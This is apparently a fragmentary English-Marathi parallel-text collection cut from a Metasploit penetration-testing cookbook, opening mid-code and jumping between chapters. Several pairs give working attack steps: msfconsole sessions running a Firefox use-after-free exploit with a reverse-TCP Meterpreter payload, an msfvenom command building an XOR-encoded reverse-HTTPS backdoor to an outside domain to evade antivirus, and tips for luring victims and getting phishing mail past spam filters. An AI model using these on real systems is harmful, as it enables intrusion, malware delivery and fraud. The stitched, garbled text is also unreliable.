जर fp == huawei print_good("#{ip}") report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => "CWMP - Huawei Home Gateway") end


Save the code into a file named huawei_cwmp.rb in /usr/share/metasploit- framework/modules/auxiliary/scanner/http, load the module using msfconsole, set the IP address or range you want to scan, and run the module:

/usr/share/metasploit- framework/modules/auxiliary/scanner/http मध्ये huawei_cwmp.rb नावाच्या फाईलमध्ये कोड सेव्ह करा, msfconsole वापरून मॉड्यूल लोड करा, स्कॅन करू इच्छित असलेला IP पत्ता किंवा रेंज सेट करा आणि मॉड्यूल चालवा:


Since we are saving the output to the current workspace, we can use the host and services command to display the result of the scan:

आम्ही आऊटपुट वर्तमान वर्कस्पेसमध्ये सेव्ह करत असल्याने, आम्ही स्कॅनचा परिणाम प्रदर्शित करण्यासाठी होस्ट आणि सेवा कमांड वापरू शकतो:


In this chapter, we will cover the following recipes:

या अध्यायात, आम्ही खालील पाककृतींचा समावेश करू:


Mixins are comprehensive mechanisms in the Ruby language that provide functionality for a module.

मिक्सिन हे रूबी भाषेतील सर्वसमावेशक यंत्रणा आहेत जे मॉड्यूलसाठी कार्यक्षमता प्रदान करतात.


This mixin provides TCP functionality to the exploit module.

हे मिक्सिन एक्सप्लॉइट मॉड्यूलला TCP कार्यक्षमता प्रदान करते.


This is the reason why modular architecture is very flexible, as it facilitates code reuse.

मॉड्यूलर आर्किटेक्चर अतिशय लवचिक असण्याचे हेच कारण आहे, कारण ते कोडचा पुनर्वापर सुलभ करते.


Metasploit has an HTTP GET Request URI Fuzzer that we can use.

मेटॅस्प्लाइटमध्ये एक HTTP GET विनंती URI फझर आहे जे आपण वापरू शकतो.


Looking at the output of the module, we can see that we were able to crash the service.

मॉड्यूलचे आउटपुट पाहता, आपण पाहू शकतो की आम्ही सेवा क्रॅश करण्यास सक्षम होतो.


Now, we will learn how it worked and build our own small HTTP fuzzer.

आता, ते कसे कार्य करते हे शिकू आणि स्वतःचे एक लहान HTTP फझर तयार करू.


The basic template to build a fuzzer will be similar to the one we discussed.

फझर तयार करण्यासाठीचे मूलभूत टेम्पलेट आपण चर्चा केलेल्यासारखेच असेल.


Now that we have imported the MSF libraries, created a class, and defined the options.

आता आम्ही MSF लायब्ररी आयात केली आहे, एक वर्ग तयार केला आहे आणि पर्याय परिभाषित केले आहेत.


The @connected instance variable is used to make the connected variable available to all methods.

@connected उदाहरण व्हेरिएबलचा वापर कनेक्ट केलेले व्हेरिएबल सर्व पद्धतींसाठी उपलब्ध करण्यासाठी केला जातो.


sock.put is used to send the request using the TCP mixin.

TCP मिक्सिन वापरून विनंती पाठवण्यासाठी sock.put वापरले जाते.


It begins by initializing the required variables, which hold the last request sent, the errors, and a counter.

हे आवश्यक व्हेरिएबल्स सुरू करून सुरू होते, जे पाठवलेली शेवटची विनंती, त्रुटी आणि काउंटर ठेवतात.


If the waiting period for the response times out, the service is considered to be down.

जर प्रतिसादाची प्रतीक्षा कालावधी संपला, तर सेवा बंद आहे असे मानले जाते.


Great, our fuzzing module works and it is able to crash the Disk Sorter Enterprise service.

उत्कृष्ट, आपले फझिंग मॉड्यूल कार्य करते आणि ते डिस्क सॉर्टर एंटरप्राइझ सेवेला क्रॅश करण्यास सक्षम आहे.


Penetration testing of wireless networks can present an organization with the real risks.

वायरलेस नेटवर्कची भेदक चाचणी संस्थेला वास्तविक धोके दर्शवू शकते.


Metasploit is one of the best tools to use when performing wireless penetration testing.

वायरलेस भेदक चाचणी करताना वापरण्यासाठी मेटॅस्प्लाइट हे सर्वोत्तम साधनांपैकी एक आहे.


We will start by using the Windows Gather Wireless Current Connection Info post-exploitation module.

आम्ही विंडोज गॅदर वायरलेस करंट कनेक्शन इन्फो पोस्ट-एक्सप्लॉयटेशन मॉड्यूल वापरून सुरुवात करू.


An evil twin attack is a type of Wi-Fi attack where a rogue Wi-Fi access point (AP) is used.

एका वाईट जुळ्या हल्ल्यात, एक दुर्भावनापूर्ण वाय-फाय ऍक्सेस पॉइंट (AP) वापरला जातो.


By imitating a legitimate access point, we can trick users into connecting to it.

कायदेशीर ऍक्सेस पॉइंटचे अनुकरण करून, आम्ही वापरकर्त्यांना त्यास कनेक्ट होण्यासाठी फसवू शकतो.


We will start by installing a DHCP server to dynamically configure the victim's IP setting.

आम्ही बळीच्या IP सेटिंग्जचे गतिशीलपणे कॉन्फिगर करण्यासाठी DHCP सर्व्हर स्थापित करून सुरुवात करू.


Now that we have our evil twin AP ready, we can test it.

आता आपले वाईट जुळे एपी तयार आहे, आम्ही त्याची चाचणी करू शकतो.


Dino Dai Zovi and Shane Macaulay wrote a set of wireless security tools.

डिनो दाई झोवी आणि शेन मॅककॉले यांनी वायरलेस सुरक्षा साधनांचा संच लिहिला.


Because of sending continuous probes, any adversary within this range can listen passively.

सतत तपासणी पाठवल्यामुळे, या श्रेणीतील कोणताही प्रतिस्पर्धी निष्क्रियपणे ऐकू शकतो.


SMB relay attacks allow us to relay SMB authentication requests to another host.

एसएमबी रिले हल्ल्यांमुळे आम्हाला एसएमबी प्रमाणीकरण विनंत्या दुसर्‍या होस्टवर रिले करता येतात.


User Account Control (UAC) bypassing techniques are discussed.

यूजर अकाउंट कंट्रोल (UAC) बायपास करण्याच्या तंत्रांवर चर्चा केली आहे.


Version detection is a crucial step in penetration testing.

भेदनक्षमतेच्या चाचणीमध्ये व्हर्जन शोधणे एक महत्त्वपूर्ण पाऊल आहे.


व्हीएनसी (VNC) चा वापर रिमोट इंजेक्शनसाठी केला जाऊ शकतो.


वेबसाईट हल्ल्याच्या मार्गांविषयी माहिती घ्या.


Exploiting a Windows 10 machine is a common scenario.

विंडोज १० मशीनचा फायदा घेणे हे एक सामान्य उदाहरण आहे.


Backdooring Windows binaries is a dangerous practice.

विंडोज बायनरींना बॅकडोर करणे एक धोकादायक कृती आहे.


सिस्टम स्क्रॅपिंगसाठी WinEnum वापरले जाते.


Windows Management Instrumentation (WMI) is important.

विंडोज मॅनेजमेंट इन्स्ट्रुमेंटेशन (WMI) महत्त्वाचे आहे.


Scanning with Windows Remote Management (WinRM).

विंडोज रिमोट मॅनेजमेंट (WinRM) वापरून स्कॅनिंग.


विंडोज सर्व्हर मशीनचा फायदा घेणे.


विंडोजवर मेटॅस्प्लाइट स्थापित करणे.


वायरलेस एमआयटीएम (MITM) हल्ल्यांवर चर्चा केली जाते.


वायरलेस एमआयटीएम हल्ले सेट करणे.


Performing a wireless penetration test with Metasploit.

मेटॅस्प्लाइट वापरून वायरलेस पेनिट्रेशन टेस्ट करणे.


मेटॅस्प्लाइटमध्ये वर्कस्पेस तयार करणे.


The book covers various penetration testing techniques.

हे पुस्तक विविध भेदनक्षमतेच्या चाचणी तंत्रांचा समावेश करते.


युडीपी (UDP) सर्व्हिस स्वीपर हे एक साधन आहे.


यूजर इंटरफेस (UI) महत्त्वाचे आहे.


या मार्गदर्शकामध्ये व्हर्च्युअल नेटवर्कचा संदर्भ आहे.


भेद्यता समजून घेणे महत्त्वाचे आहे.


However, when we get access to a client machine the reality is different, the operating system may have all the updates but that doesn't apply to all the software running on the machine.

परंतु, जेव्हा आपल्याला क्लायंट मशीनमध्ये प्रवेश मिळतो, तेव्हाची वस्तुस्थिती वेगळी असते, ऑपरेटिंग सिस्टीममध्ये सर्व अद्यतने असू शकतात, परंतु ते मशीनवर चालणाऱ्या सर्व सॉफ्टवेअरला लागू होत नाही.


Client-Side Exploitation and Antivirus BypassChapter 7 [ 262 ] Exploiting a Windows 10 machine In this recipe, we will exploit a use-after-free vulnerability present in nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox on Microsoft Windows.

क्लायंट-साइड शोषण आणि अँटीव्हायरस बायपास चॅप्टर 7 [ 262 ] विंडोज 10 मशीनचे शोषण या रेसिपीमध्ये, आम्ही मायक्रोसॉफ्ट विंडोजवरील मोझिला फायरफॉक्सच्या अनेक आवृत्त्यांमध्ये nsSMILTimeContainer::NotifyTimeChange() मध्ये उपस्थित असलेल्या वापरानंतर-मुक्त असुरक्षिततेचा फायदा घेऊ.


Getting ready So, before we begin we need to download Mozilla Firefox 41.0 from https://ftp.mozilla. org/pub/firefox/releases/41.0/win32/en-US/Firefox%20Setup%2041.0.exe and install it on our Windows 10 target machine.

तयारी करत आहे. तर, सुरुवात करण्यापूर्वी, आम्हाला Mozilla Firefox 41.0 https://ftp.mozilla.org/pub/firefox/releases/41.0/win32/en-US/Firefox%20Setup%2041.0.exe येथून डाउनलोड करणे आणि ते आमच्या विंडोज 10 लक्ष्यित मशीनवर स्थापित करणे आवश्यक आहे.


How to do it... As always, good reconnaissance makes all the difference, so we first need to gather information about the browser the victim is using.

कसे करायचे... नेहमीप्रमाणे, चांगली टेहळणी (reconnaissance) खूप महत्त्वाचे ठरते, त्यामुळे, सर्वात आधी, पीडित व्यक्ती (victim) वापरत असलेल्या ब्राउझरबद्दल माहिती गोळा करणे आवश्यक आहे.


To help us with this task, we can use the HTTP Client Information Gather1. auxiliary module by specifying the IP address and port of the host to listen on and the URI to use, then use one of your favorite pretexts to make the victim open the link:

या कामात मदत करण्यासाठी, आम्ही HTTP क्लायंट माहिती गोळा करणारे 1. सहाय्यक मॉड्यूल वापरू शकतो, ऐकण्यासाठी होस्टचा IP पत्ता आणि पोर्ट निर्दिष्ट करून आणि वापरण्यासाठी URI, त्यानंतर पीडित व्यक्तीला लिंक उघडण्यासाठी तुमच्या आवडत्या कारणांपैकी एक वापरा:


msf > use auxiliary/gather/browser_info msf auxiliary(gather/browser_info) > set SRVHOST 192.168.216.5 SRVHOST => 192.168.216.5 msf auxiliary(gather/browser_info) > set SRVPORT 80 SRVPORT => 80 msf auxiliary(gather/browser_info) > set URIPATH / URIPATH => / msf auxiliary(gather/browser_info) > run


[*] Auxiliary module running as background job 1. msf auxiliary(gather/browser_info) > [*] Using URL: http://192.168.216.5:80/ [*] Server started. [*] Gathering target information for 192.168.216.150 [*] Sending HTML response to 192.168.216.150

[*] सहाय्यक मॉड्यूल पार्श्वभूमीवर चालत आहे 1. msf auxiliary(gather/browser_info) > [*] URL वापरत आहे: http://192.168.216.5:80/ [*] सर्व्हर सुरू झाला. [*] 192.168.216.150 साठी लक्ष्य माहिती गोळा करत आहे [*] 192.168.216.150 ला HTML प्रतिसाद पाठवत आहे


[+] 192.168.216.150 - We have found the following interesting information: [*] 192.168.216.150 - source = Browser allows JavaScript [*] 192.168.216.150 - ua_name = Firefox [*] 192.168.216.150 - ua_ver = 41.0 [*] 192.168.216.150 - arch = x86 Client-Side Exploitation and Antivirus BypassChapter 7 [ 263 ] [*] 192.168.216.150 - os_name = Windows [*] 192.168.216.150 - language = en-US,en;q=0.5


Looking at the output, we can see that the victim is running Firefox version 41.0.2. With this information, we can see that there is an exploit we can use on Firefox nsSMILTimeContainer::NotifyTimeChange() with the RCE exploit module.

आउटपुट पाहता, आपण पाहू शकतो की पीडित फायरफॉक्स व्हर्जन 41.0.2 चालवत आहे. या माहितीसह, आपण पाहू शकतो की फायरफॉक्स nsSMILTimeContainer::NotifyTimeChange() वर RCE एक्सप्लॉइट मॉड्यूल वापरू शकतो.


To exploit the target using this module, we first need to set the IP address and3. port of the host we will be serving the exploit on and the URI to use, then set the payload we want to execute on the target, and since we are using a reverse shell, we also need to specify the listening host IP address:

या मॉड्यूलचा वापर करून लक्ष्य साधण्यासाठी, प्रथम, ज्या होस्टवर आपण शोषण (exploit) सर्व्ह करणार आहोत त्याचा IP पत्ता आणि पोर्ट सेट करणे आवश्यक आहे आणि वापरण्यासाठी URI, त्यानंतर लक्ष्यवर कार्यान्वित करायचा पेलोड सेट करा, आणि आम्ही रिव्हर्स शेल वापरत असल्याने, आम्हाला ऐकणाऱ्या होस्टचा IP पत्ता देखील निर्दिष्ट करणे आवश्यक आहे:


msf auxiliary(gather/browser_info) > use exploit/windows/browser/firefox_smil_uaf msf exploit(windows/browser/firefox_smil_uaf) > set SRVHOST 192.168.216.5 SRVHOST => 192.168.216.5 msf exploit(windows/browser/firefox_smil_uaf) > set SRVPORT 80 SRVPORT => 80 msf exploit(windows/browser/firefox_smil_uaf) > set URIPATH / URIPATH => / msf exploit(windows/browser/firefox_smil_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(windows/browser/firefox_smil_uaf) > set LHOST 192.168.216.5 LHOST => 192.168.216.5 msf exploit(windows/browser/firefox_smil_uaf) > exploit


[*] Exploit running as background job 0. [*] Started reverse TCP handler on 192.168.216.5:4444 msf exploit(windows/browser/firefox_smil_uaf) > [*] Using URL: http://192.168.216.5:80/ [*] Server started.

[*] एक्सप्लॉइट पार्श्वभूमीवर चालत आहे 0. [*] 192.168.216.5:4444 वर रिव्हर्स TCP हँडलर सुरू झाला msf exploit(windows/browser/firefox_smil_uaf) > [*] URL वापरत आहे: http://192.168.216.5:80/ [*] सर्व्हर सुरू झाला.


Now that we have everything set up, we will need the victim to browse to our site—this can be achieved using several means, email, social media, and so on When the victim accesses the URL, we should successfully exploit the use-after-4. free vulnerability and get a new session running in the context of the user that accesses the URL.

आता सर्व काही सेट झाल्यावर, आम्हाला पीडित व्यक्तीला आमच्या साइटवर ब्राउझ करण्याची आवश्यकता असेल—हे अनेक मार्गांनी, ईमेल, सोशल मीडिया इत्यादींद्वारे करता येते. जेव्हा पीडित व्यक्ती URL ऍक्सेस करतो, तेव्हा आम्ही वापरानंतर-मुक्त असुरक्षिततेचा यशस्वीरित्या फायदा घेऊ आणि त्या वापरकर्त्याच्या संदर्भात एक नवीन सत्र (session) सुरू करू जो URL ऍक्सेस करतो.


Note that, to prevent us from losing the session if the user closes the browser, this module uses the post/windows/manage/priv_migrate post-exploitation module to migrate to the explorer.exe process.

लक्षात घ्या की, वापरकर्त्याने ब्राउझर बंद केल्यास, आम्हाला सत्र गमावण्यापासून रोखण्यासाठी, हे मॉड्यूल एक्सप्लोरर.exe प्रक्रियेवर स्थलांतरित होण्यासाठी पोस्ट/विंडोज/व्यवस्थापन/priv_migrate पोस्ट-शोषण मॉड्यूल वापरते.


Client-Side Exploitation and Antivirus BypassChapter 7 [ 264 ] Bypassing antivirus and IDS/IPS As time went by, and Metasploit became the tool to use for exploitation, security vendors started to detect and stop exploits from running.

क्लायंट-साइड शोषण आणि अँटीव्हायरस बायपास चॅप्टर 7 [ 264 ] अँटीव्हायरस आणि IDS/IPS बायपास करणे. जसजसा वेळ गेला, आणि मेटॅस्प्लाइट शोषणासाठी वापरले जाणारे साधन बनले, तसतसे सुरक्षा विक्रेत्यांनी शोषण शोधणे आणि चालवणे थांबवले.


One approach to bypassing these solutions is to combine the use of custom encoders and trusted certificates. How to do it... In this recipe, we will combine several bypass techniques in order to successfully bypass antivirus and IDS/IPS solutions.

या उपायांना बायपास करण्याचा एक दृष्टिकोन म्हणजे कस्टम एन्कोडर आणि विश्वसनीय प्रमाणपत्रांचा वापर करणे. कसे करायचे... या रेसिपीमध्ये, आम्ही अँटीव्हायरस आणि IDS/IPS सोल्यूशन्स यशस्वीरित्या बायपास करण्यासाठी अनेक बायपास तंत्रांचे मिश्रण करू.


First, we will create the payload using the bf_xor custom encoder used in the1. previous chapter; this way we can ensure that the solution looking for the default encoders won't flag our payload as malware:

पहिले, आम्ही मागील अध्यायात वापरलेल्या bf_xor कस्टम एन्कोडरचा वापर करून पेलोड तयार करू; अशा प्रकारे, आम्ही हे सुनिश्चित करू शकतो की डीफॉल्ट एन्कोडर शोधणारे समाधान (solution) आमच्या पेलोडला मालवेअर म्हणून ध्वजांकित (flag) करणार नाही:


root@Metasploit:~# msfvenom -p windows/meterpreter/reverse_winhttps LHOST=zinitiative.com LPORT=443 HandlerSSLCert=./unified.pem StagerVerifySSLCert=true -f exe -e x86/bf_xor -o bypass.exe No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/bf_xor x86/bf_xor succeeded with size 1259 (iteration=0) x86/bf_xor chosen with final size 1259 Payload size: 1259 bytes Final size of exe file: 73802 bytes Saved as: bypass.exe

root@Metasploit:~# msfvenom -p windows/meterpreter/reverse_winhttps LHOST=zinitiative.com LPORT=443 HandlerSSLCert=./unified.pem StagerVerifySSLCert=true -f exe -e x86/bf_xor -o bypass.exe कोणतीही प्लॅटफॉर्म निवडली नाही, पेलोडमधून Msf::Module::Platform::Windows निवडत आहे कोणतीही आर्किटेक्चर निवडली नाही, पेलोडमधून Arch: x86 निवडत आहे 1 सुसंगत एन्कोडर सापडले x86/bf_xor च्या 1 पुनरावृत्तीसह पेलोड एन्कोड करण्याचा प्रयत्न करत आहे x86/bf_xor 1259 आकारात यशस्वी (iteration=0) x86/bf_xor अंतिम आकार 1259 सह निवडले पेलोडचा आकार: 1259 bytes अंतिम exe फाइलचा आकार: 73802 bytes म्हणून जतन केलेले: bypass.exe


Next, we will use the trusted certificate we created in the previous chapter2. using Let's Encrypt for the Meterpreter HTTPS transport:

पुढे, आम्ही मागील अध्यायात तयार केलेले विश्वसनीय प्रमाणपत्र वापरू 2. जे मेटरप्रिटर HTTPS ट्रान्सपोर्टसाठी लेट्स एन्क्रिप्ट (Let's Encrypt) वापरून तयार केले आहे:


If you want to improve the chances of your campaign not been caught, you can use Let's Encrypt to generate a free TLS certificate and use it to configure Gophish to serve the phishing URL via HTTPS.

जर तुम्हाला तुमच्या मोहिमेची पकडले जाण्याची शक्यता कमी करायची असेल, तर तुम्ही विनामूल्य TLS प्रमाणपत्र तयार करण्यासाठी लेट्स एन्क्रिप्ट (Let's Encrypt) वापरू शकता आणि फिशिंग URL HTTPS द्वारे देण्यासाठी गोफिश (Gophish) कॉन्फिगर करण्यासाठी त्याचा वापर करू शकता.


When setting up an email server for phishing campaigns, do not forget to configure SPF, DKIM, and DMARC as you would in a regular email server; this will make your server look legitimate and give you a better chance of bypassing anti-spam technologies.

फिशिंग मोहिमेसाठी ईमेल सर्व्हर सेट करत असताना, नेहमीप्रमाणे ईमेल सर्व्हरमध्ये SPF, DKIM आणि DMARC कॉन्फिगर करायला विसरू नका; हे आपल्या सर्व्हरला कायदेशीर बनवेल आणि अँटी-स्पॅम तंत्रज्ञान बायपास (bypass) करण्याची चांगली संधी देईल.


One way to ensure your phishing emails will get to the intended recipients is to use hosted business email solutions such as Zoho Mail.

तुमचे फिशिंग ईमेल (phishing emails) इच्छित प्राप्तकर्त्यांपर्यंत पोहोचतील हे सुनिश्चित करण्याचा एक मार्ग म्हणजे झोहो मेल (Zoho Mail) सारखे होस्ट केलेले व्यवसाय ईमेल सोल्यूशन्स वापरणे.


Just go to https://www.zoho.com/mail/, create a free business email account, and you are good to go.

https://www.zoho.com/mail/ ला भेट द्या, एक विनामूल्य व्यवसाय ईमेल खाते तयार करा, आणि तुम्ही तयार आहात.


You can find the updated documentation at https://gophish.gitbooks.io/ user-guide/content/getting_started.html.

तुम्ही https://gophish.gitbooks.io/ user-guide/content/getting_started.html येथे अद्ययावत (updated) माहिती शोधू शकता.


The objective of this recipe is to show you that you can and should take advantage of cloud technologies to ease some of the tasks performed during a penetration test.

या कृतीचा उद्देश तुम्हाला हे दर्शवणे आहे की तुम्ही क्लाउड तंत्रज्ञानाचा उपयोग करू शकता आणि पेनिट्रेशन टेस्ट (penetration test) दरम्यान केली जाणारी काही कामे सुलभ करू शकता.


Now that you know how to set up and launch a phishing campaign, you can, for example, embed an HTML application link in the phishing email using the Metasploit HTA Web Server exploit module in order to compromise the target.

आता तुम्हाला फिशिंग मोहिम कशी सेट (set up) करायची आणि सुरू करायची हे माहित आहे, उदाहरणार्थ, लक्ष्य (target) तडजोड करण्यासाठी मेटास्प्लाइट (Metasploit) HTA वेब सर्व्हर एक्सप्लॉइट मॉड्यूल वापरून फिशिंग ईमेलमध्ये HTML ॲप्लिकेशन लिंक एम्बेड (embed) करू शकता.


Imagination and practice are your friends; you are not limited to HTA.

कल्पनाशक्ती आणि सराव हे तुमचे मित्र आहेत; तुम्ही फक्त HTA पुरते मर्यादित नाही.


Learn from the adversary; by reading the latest security reports, you can learn about new attack vectors used in the wild and mimic them using Metasploit.

शत्रूकडून शिका; नवीनतम सुरक्षा अहवाल वाचून, तुम्ही जंगलात वापरल्या जाणाऱ्या नवीन हल्ल्याच्या पद्धती (attack vectors) बद्दल शिकू शकता आणि मेटास्प्लाइट वापरून त्यांची नक्कल करू शकता.


Testing new tools and techniques is an important part of a penetration tester's job.

नवीन साधनांची आणि तंत्रांची चाचणी करणे हे पेनिट्रेशन परीक्षकाच्या (penetration tester) कामाचा एक महत्त्वाचा भाग आहे.


Every day new tools are created and new techniques found, so keep up with the industry.

दररोज नवीन साधने तयार केली जातात आणि नवीन तंत्रे शोधली जातात, त्यामुळे उद्योगाशी जुळलेले राहा.


We have to invest a fair amount of our time practicing and mastering the tools of our trade.

आपल्या व्यवसायाची साधने वापरण्याचा सराव (practice) आणि त्यावर प्रभुत्व मिळवण्यासाठी आपल्याला पुरेसा वेळ गुंतवावा लागतो.


Having a data center where we can set up a lab environment and practice is not always possible and can be quite expensive.

डेटा सेंटर (data center) असणे जेथे आपण प्रयोगशाळेचे वातावरण तयार करू शकतो आणि सराव करू शकतो, हे नेहमी शक्य नसते आणि ते खूप खर्चिक असू शकते.


With cloud services getting cheaper, faster, and easier to use, we do not have an excuse not to have a penetration testing lab.

क्लाउड सेवा (cloud services) स्वस्त, जलद आणि वापरण्यास सोप्या होत असल्यामुळे, आपल्याकडे पेनिट्रेशन टेस्टिंग लॅब (penetration testing lab) नसेल, असे कारण नाही.


Take for example Azure; create a free account, and you get $200 of credit to explore services for 30 days.

उदाहरणार्थ, Azure घ्या; एक विनामूल्य खाते तयार करा, आणि तुम्हाला 30 दिवसांसाठी सेवा (services) वापरण्यासाठी $200 क्रेडिट मिळतात.


One of the biggest concerns with deploying vulnerable machines is to keep them contained and not expose them to the internet.

vulnerable machines ( असुरक्षित मशीन) तैनात (deploy) करताना सर्वात मोठी चिंता म्हणजे त्यांना सुरक्षित ठेवणे आणि इंटरनेटवर (internet) उघड न करणे.


For this, we can create a virtual network, which will create a logically isolated section in Microsoft Azure with this networking service.

यासाठी, आम्ही एक व्हर्च्युअल नेटवर्क (virtual network) तयार करू शकतो, जे या नेटवर्किंग सेवेसह Microsoft Azure मध्ये तार्किकदृष्ट्या वेगळा विभाग तयार करेल.


To learn more about how to create virtual networks, you can go to the following page: https://docs.microsoft.com/en-us/azure/virtual-network/quick-create-portal.

व्हर्च्युअल नेटवर्क कसे तयार करायचे याबद्दल अधिक माहितीसाठी, तुम्ही खालील पृष्ठावर जाऊ शकता: https://docs.microsoft.com/en-us/azure/virtual-network/quick-create-portal.


Google Cloud Platform and Amazon Web Services (AWS) are also great cloud services on which you can build your lab on; like Azure, they also allow you to create a free account and test their platform, so pick up the one you like most and start practicing.

Google Cloud Platform आणि Amazon Web Services (AWS) या देखील उत्तम क्लाउड सेवा (cloud services) आहेत ज्यावर तुम्ही तुमची प्रयोगशाळा (lab) तयार करू शकता; Azure प्रमाणेच, ते तुम्हाला एक विनामूल्य खाते तयार (create) करण्याची आणि त्यांचे प्लॅटफॉर्म (platform) वापरण्याची परवानगी देतात, त्यामुळे तुम्हाला जे सर्वात जास्त आवडते ते निवडा आणि सराव सुरू करा.


If you just want to practice and do not want to build your own lab, you can give Hack The Box a try, go to https://www.hackthebox.eu/, and hack your way in.

जर तुम्हाला फक्त सराव करायचा असेल आणि स्वतःची प्रयोगशाळा (lab) तयार करायची नसेल, तर तुम्ही Hack The Box वापरून पाहू शकता, https://www.hackthebox.eu/ ला भेट द्या आणि आत प्रवेश करा.